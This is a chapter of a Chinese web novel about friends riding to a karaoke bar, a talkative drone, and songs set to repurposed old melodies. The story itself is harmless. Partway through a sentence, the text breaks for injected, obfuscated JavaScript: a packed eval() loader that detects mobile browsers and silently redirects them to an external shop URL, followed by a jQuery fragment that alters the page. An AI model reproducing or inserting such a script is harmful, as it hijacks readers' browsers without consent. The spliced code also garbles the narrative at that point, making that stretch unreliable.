對辛卡伊來說，「想回去看看」不是一種強烈的鄉愁，而比較像突然意識到：原來自己的人生裡，還有一塊從來沒被親眼確認過的空白。
塔卡熙這時候突然插了一句，語氣理所當然。「那可以直接用比獸究飛回去啊。」
話一出口，空氣頓時輕快了一點。
金塔忍不住笑出聲來。「兩邊距離超過五千哩，比獸究應該沒有這麼強的飛行能力吧？」
塔卡熙眨了眨眼，顯然是真的認真考慮過這個可能性。他轉頭看向坐在桌邊、安靜待機的白色無人機。
塔卡熙問道：「熙拉內考，比獸究系統的飛行能力到底到哪裡？」
白色的無人機輕輕晃動了一下，像是在調整姿態。
「目前的比獸究，」熙拉內考用清脆的男童聲回答，每一句結尾都帶著熟悉的尾音，「無法支援長途飛行～尼亞。」
它停頓了一秒，彷彿在確認內部資料流。「升級之後的碼厚弼獸究，目前資料不夠詳細，正在下載相關數據，請稍等～尼亞。」
這句話讓塔卡熙的眼睛亮了一下。
幾秒鐘後，熙拉內考再次開口，語氣依舊可愛，卻多了一點像是系統播報的嚴謹。「根據更新資料，碼厚弼獸究因為定義為對抗出現在卡雷恩州的入侵者機器人，並不擅長長途飛行～尼亞。存在有效飛行距離限制，大概是一千哩左右～尼亞。」
話音落下，塔卡熙肩膀微微垂了一下。
「啊……」他小聲地應了一句，明顯有點失望。
堯熙塔卡看著他的反應，笑了笑。「要回國的話，還是飛機比較適合吧。反正團結國的護照免簽那麼多地方，說走就走。」
那句話說得輕描淡寫，卻也隱隱帶著一點屬於這一代人的理所當然——移動不再是困難，而是一種選項。
金塔這時候像是突然想起什麼，嘆了口氣。「本來這次打算我開車的，結果我媽媽把車開走了。道路宣傳車在我爸爸那裡，開不出來。」
辛卡伊愣了一下，隨即忍不住笑了。
「道路宣傳車？」他提高了一點音量，「你家把這東西帶到團結國來了？」
金塔也笑，笑得很坦然。「是啊。團結國的保守派也很熱情，可以合流的。」
辛卡伊心裡浮現的，卻是兩種截然不同的畫面：一邊是團結國式的政治宣傳，另一邊是他記憶中那種喇叭音量大到震耳欲聾、口號節奏毫不留情的道路宣傳。
「風格完全不一樣啊。」但這句話他沒有說出口。
「那倒是很好欸。」他嘴上這麼說，語氣帶著一點真誠，也帶著一點外交式的圓滑。
堯熙塔卡顯然是真的沒聽過。他問：「道路宣傳車是怎麼回事？我不太懂。」
辛卡伊想了一下，才開口。「就是保守派道路宣傳者駕駛的車輛。他們是皇帝陛下最忠誠的擁護者。」
說到這裡，他下意識停了一下。
「但個別道路宣傳車……」他斟酌著用詞，不太想讓金塔不高興。
堯熙塔卡敏銳地察覺到那個停頓。
「怎麼了？」他追問。
金塔接過話，語氣反而很平靜，甚至帶著一點自嘲的笑。「我說吧！有些道路宣傳車確實很過分。還有一些保守派道路宣傳者有幫派背景。」
他聳了聳肩，補了一句，「其實任何地方都有壞人。」語氣輕得像是在說一件早就想開的事。
辛卡伊點了點頭。「確實。」
那一刻，三個人都沒有再說話。不是因為話題沉重，而是因為那句「任何地方都有壞人」本身就像一個句點，把許多複雜的情緒都暫時收進去。話停在那裡，反而讓人心裡鬆了一口氣。
車子在燦爛的陽光下行駛，路旁的樹影一排排掠過擋風玻璃，光影流動，像是某種無聲的節拍。沒有人刻意再提剛才的話題，但那份理解已經在空氣裡形成共識。
不久後，車來到桃瑤舞凱碧梅唱吧附近，拐進熟悉的停車場。引擎熄火，白晝的城市喧囂一下子貼近了耳邊。
塔卡熙率先下車，伸了個懶腰；辛卡伊和金塔隨後跟上。堯熙塔卡繞到後座，動作小心地抱起白色無人機熙拉內考。熙拉內考安靜地待在他懷裡，外殼在陽光下反射出潔白的光澤。
幾個人一邊聊天一邊往唱吧入口走去。玻璃門推開，音樂聲、笑聲、杯子碰撞的聲音混雜在一起，即便是在中午，這裡也有著屬於假日的一份熱鬧。
在服務台開好包廂，又點了幾盤水果和飲料，服務員領著四人沿著走廊前進。走廊燈光偏暗，與外頭明亮的白晝形成對比，牆面裝飾著抽象的圖案，腳步聲被地毯吸收，只剩下低低的談笑。
包廂門一關，外界的喧鬧立刻被隔絕。柔軟的沙發、閃爍的燈條、牆上巨大的點歌螢幕，一切都讓人不自覺放鬆下來。
塔卡熙第一個拿起遙控器，熟練地點了幾首節奏感強的娛樂歌曲；辛卡伊也跟著選了幾首輕快的流行曲。輪到堯熙塔卡時，他稍微猶豫了一下，指尖在螢幕上滑動，最後點了一首名叫《一二三四五五五（通用版）》的歌。
歌名一出現，金塔的眉頭微微一動。
「這個名字……」他心裡閃過一絲熟悉感，卻一時說不上來。
音樂開始播放。前奏一響，雖然是明顯的現代電子樂編曲，但旋律線條一出現，金塔幾乎立刻確定了自己的直覺——太熟了。
堯熙塔卡站起來，拿著麥克風，沒有刻意表演，只是自然地唱了起來。
「晨曦破曉霧輕拂，黎明吐息空氣酥。深深一吸清肺腑，胸臆豪情滿襟湖。年少輕狂何所懼，傲視群雄立寰樞。公司職員的一週，一二三四五五五……」
歌詞在螢幕上一行一行亮起，節奏輕快，卻帶著某種奇妙的莊嚴感。那種感覺，像是把原本用來歌頌別的事物的旋律，重新安放在日常生活之中。
一首歌結束，包廂裡短暫地安靜了一下，接著是塔卡熙和辛卡伊的笑聲。
「這首歌居然有英語版，」辛卡伊忍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003032|132887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不住說，「而且歌詞還改成普通的工作內容。」
堯熙塔卡坐回沙發，拿起飲料喝了一口。
「我不知道耶，」他老實地說，「我只是覺得旋律很好聽，歌詞也滿順的。」
金塔點了點頭，神情卻帶著一點確認後的笑意。「這首歌的旋律，出自古典歌曲《蓋茨·蓋茨·卡·斯依·摩庫·琪茵·琪茵》。歌詞也是在那首歌的基礎上改的，而且還是老樣子——把週六、週日都當成工作日。」
堯熙塔卡露出恍然大悟的表情。「原來是這樣，這是伊希卡瓦電影廠出的歌。」
「伊希卡瓦？」金塔挑了挑眉，「是伊希卡瓦省嗎？」
「和伊希卡瓦省沒有任何關係，」堯熙塔卡搖頭，「總部在團結國諾爾茨州，是一個叫伊希卡瓦·阿蘇卡的女人創辦的電影工廠。後來還出了兩張音樂專輯，一張叫《伊希卡瓦》，一張叫《伊希卡瓦-霍特》。」
「《伊希卡瓦-霍特》？」金塔笑了出來，「這是要跟『投丘-霍特』競爭嗎？」
「不存在競爭啦，」堯熙塔卡也笑，「『投丘-霍特』在雷伊瓦時期根本沒出過新作品。伊希卡瓦電影廠是雷伊瓦三年才成立的。」
「我對這個行業實在不太了解啦。」金塔自嘲地聳了聳肩，隨即轉向身側的點歌螢幕。
他在搜尋欄輸入「伊希卡瓦」。畫面立刻跳出兩張專輯封面。他點開《伊希卡瓦》，歌單一行行顯示出來——《攝影機進行曲》、《一二三四五五五》、《環境惡劣無所傷》、《騎士的本領》等……
雖然歌名都是英文，但那些關鍵字眼，對金塔來說幾乎毫不掩飾它們的來源。
他毫不猶豫地選了《環境惡劣無所傷》，把自己原本點的一首歌換掉。
過了一首歌，輪到《環境惡劣無所傷》。
旋律一響，包廂裡的燈光自動切換成較為低調的色彩。螢幕上浮現歌詞——
「環境惡劣無所傷，設備舊，不曾妨。對手眾多又怎樣，職員鬥志高昂。堅強信念，永在心上，無懼任遠航。」
金塔靠在沙發背上，嘴角微微上揚。果然是這首歌。
他沒有唱，只是聽著。旋律與記憶中那首古典歌曲幾乎完全重合，卻又因為編曲和歌詞的轉換，變成了另一種存在。那不再是用來指揮戰鬥或宣示意志的音樂，而是被包裝成「努力工作」、「克服環境」的日常勵志歌曲。
金塔心裡忽然生出一種說不清的感覺。
旋律本身沒有善惡，它只是被一代又一代的人反覆使用、改寫、重新詮釋。從戰場，到工廠，再到唱吧的包廂，音符一路走來，早已不在乎最初的意義。
他抬頭看了看正在跟著節奏輕輕點頭的辛卡伊，又看了看一臉認真聽歌的堯熙塔卡，還有坐在角落、偶爾發出輕微提示音的熙拉內考。
這一刻，他忽然覺得，或許所謂的「時代」，就是這樣被保留下來的——不是透過教科書，而是透過旋律，在不經意的地方，繼續被唱下去。